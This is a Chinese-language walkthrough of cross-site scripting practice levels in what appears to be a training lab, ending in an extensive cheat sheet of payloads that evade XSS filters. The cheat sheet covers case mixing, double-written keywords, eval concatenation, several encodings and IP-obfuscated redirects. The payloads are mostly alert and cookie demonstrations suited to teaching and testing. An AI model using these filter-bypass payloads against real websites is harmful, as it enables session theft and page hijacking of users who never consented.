XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
xss触发方式
(1)在标签外:
<script>alert(1)</script>
(2)在标签内:
使用事件型:(先用引号闭合,看看是否有过滤如果有使用大小写试验) (1)12' οnclick='alert(1) 在<a>标签内不能使用<script>标签,使用<img>标签 (2)123"><img src='1223' οnclick=alert(1)><"
标签内资源类型是url使用伪协议javascript:alert(1)
反射型xss(get)
1、 受害者访问攻击者构造的页面
2、 将攻击者构造的payload发送到后端,然后由后端再返回给前端
输入个<script>alert(1)</script>试试。
发现输入框有长度限制。
此时有一条阳关道,有一根独木桥。
阳关道
阳关道是直接在地址栏插payload:
<script>alert(1)</script>
独木桥
独木桥是请出开发者工具,修改html代码中的输入框长度限制,然后在输入框中输入payload并提交。之所以叫独木桥就是因为每输入一个payload之前都要改一次输入框长度限制。。。
首先在输入框 鼠标右键--检查 弹出开发者工具
改大上图中的maxlength,比如改成100:
反射型xss(post)
1、 受害者访问攻击者构造的页面
2、 将攻击者构造的payload发送到后端,然后由后端再返回给前端
登录admin账号之后,和上一关差不多。。而且这关的输入框还没有长度限制
<script>alert(1)</script>
存储型xss
将攻击者构造的恶意代码,存储到数据库中,并且在网站页面上自动执行代码。
它是一个留言板,来玩玩
输入payload:<script>alert("交出你的cookie");alert(document.cookie)</script>
提交之后首先弹出下图,对应payload中的 alert("交出你的cookie")
点 确定 之后又弹出下图,对应payload中的 alert(document.cookie)
点 确定 之后就变成下图这样了,虽然留言内容显示不出来,但是对比一开始进来的时候可以看到多了个“删除”,说明确实多了一条留言
右键--查看网页源代码 的话,可以看到payload在html代码中是原封不动的。。
DOM型xss
需要用户点击
数据不到后端,直接由前端js进行处理
一个输入框,先输入个<script>alert(1)</script>试试。
没有弹框,回显了一个链接名曰“what do you see?”
鼠标右键--查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看
找到了一段js代码,寻找DOM XSS的本质是做js语言阅读理解题。。
假装看不到注释的提示(/▽\)这段js代码的意思是会把用户提交的内容输出到<a>标签中,这样的话,就需要闭合标签和引号
123456' onclick='alert(1)
在<a>标签内不能使用<script>标签,使用<img>标签 '><img src=1 οnerrοr='alert(`xss`)
DOM型xss-x
在输入框中输了个“吃瓜”,提交之后发现吃瓜群众跑到url里面去了(这就是和上一关的不同),然后多出来个链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”
既然还是DOM型,就 鼠标右键 -- 查看网页源代码
假装看不到提示(还有注意下图这个alert(xss)是注释掉的。。我还研究了半天这句放在这儿干嘛 ╯︿╰)
这题跟第4题没啥差别,就是比第4题更容易利用而已
注意下图中高亮的那行,本关输入payload之后需要点击链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”才能触发domxss()函数,从而触发XSS
输入第4关的payload:'><img src=1 onerror=alert("xss");>
题外话:
由于本关payload在url中,因此比上一关好利用很多
xss之盲打
<script>alert(1)</script>
提交之后发现输入的东西完全不显示在页面上,去哪儿了呢?
查看网页源代码之后,发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了呀。。。
点一下提示,原来要登录后台才能迎接攻击啊
xss之过滤
随便输入一些内容,提交之后发现页面有回显输入的内容,url中也有输入的内容,离开本页面再回来,页面就没有这个内容了,说明是反射型GET型XSS
可以把这些一个个输入提交试试,也可以一起提交,然后就发现了好玩的情况,如果单独输入"<>'on/`()则什么都没有被过滤,如果输入了"<>'on/`() script img href src,则<>'on/`() script被删掉了,这说明什么问题?这说明过滤语句超可能是<.*script
那就不要用<script>标签了,用<img>标签试试,输入payload:<img src=1 onerror=alert("xss");>
当然还有别的绕过方法:
大小写绕过<sCript>alert(1)</scRipt>
过滤空格 用/代替空格 <img/src="x"/onerror=alert("xss");> 过滤关键字 大小写绕过 <ImG sRc=x onerRor=alert("xss");> 双写关键字 有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过 <imimgg srsrcc=x onerror=alert("xss");> 字符拼接 利用eval <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> 利用top <script>top["al"+"ert"](`xss`);</script> 其它字符混淆 有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了 下面举几个简单的例子 可利用注释、标签的优先级等 1.<<script>alert("xss");//<</script> 2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT> 编码绕过 Unicode编码绕过 <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> 八进制 <img src=x onerror=alert('\170\163\163')> base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 过滤双引号,单引号 1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号 <img src="x" onerror=alert(`xss`);> 2.使用编码绕过,具体看上面列举的例子,不多赘述了 过滤括号 当括号被过滤的时候可以使用throw来绕过 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> 过滤url地址 使用url编码 <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> 使用IP 1.十进制IP <img src="x" onerror=document.location=`http://2130706433/`> 2.八进制IP <img src="x" onerror=document.location=`http://0177.0.0.01/`> 3.hex <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> 4.html标签中用//可以代替http:// <img src="x" onerror=document.location=`//www.baidu.com`>
xss之htmlspecialchars
htmlspecialchars转义特殊字符 &:转换为& ":转换为" ':转换为成为 ' <:转换为< >:转换为>
javascript伪协议
伪协议说明:
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
①将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
javascript伪协议可以在HTML链接中触发代码的执行 <a>标签 <a href="javascript:alert(`xss`);">xss</a> <iframe>标签 <iframe src=javascript:alert('xss');></iframe> <img>标签 <img src=javascript:alert('xss')>//IE7以下 <form>标签 <form action="Javascript:alert(1)"><input type=submit>
使用伪协议javascript:alert(1)
xss之href输出
根据提示输入网站url
<a> 标签的 href 属性用于指定超链接目标的 URL。 href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。
所以 可以利用JavaScript协议。输入payload:javascript:alert(1)
xss之js输出
还是输入<script>alert(1)</script>试试,果不其然没有弹框
鼠标右键--查看网页源代码,刚刚输入的东西跑到<script>标签内了,并且没有被编码
这就很easy了,只要无中生有出一个js语句就好了,怎么生呢首先要用';闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的';
输入payload:';alert(1);//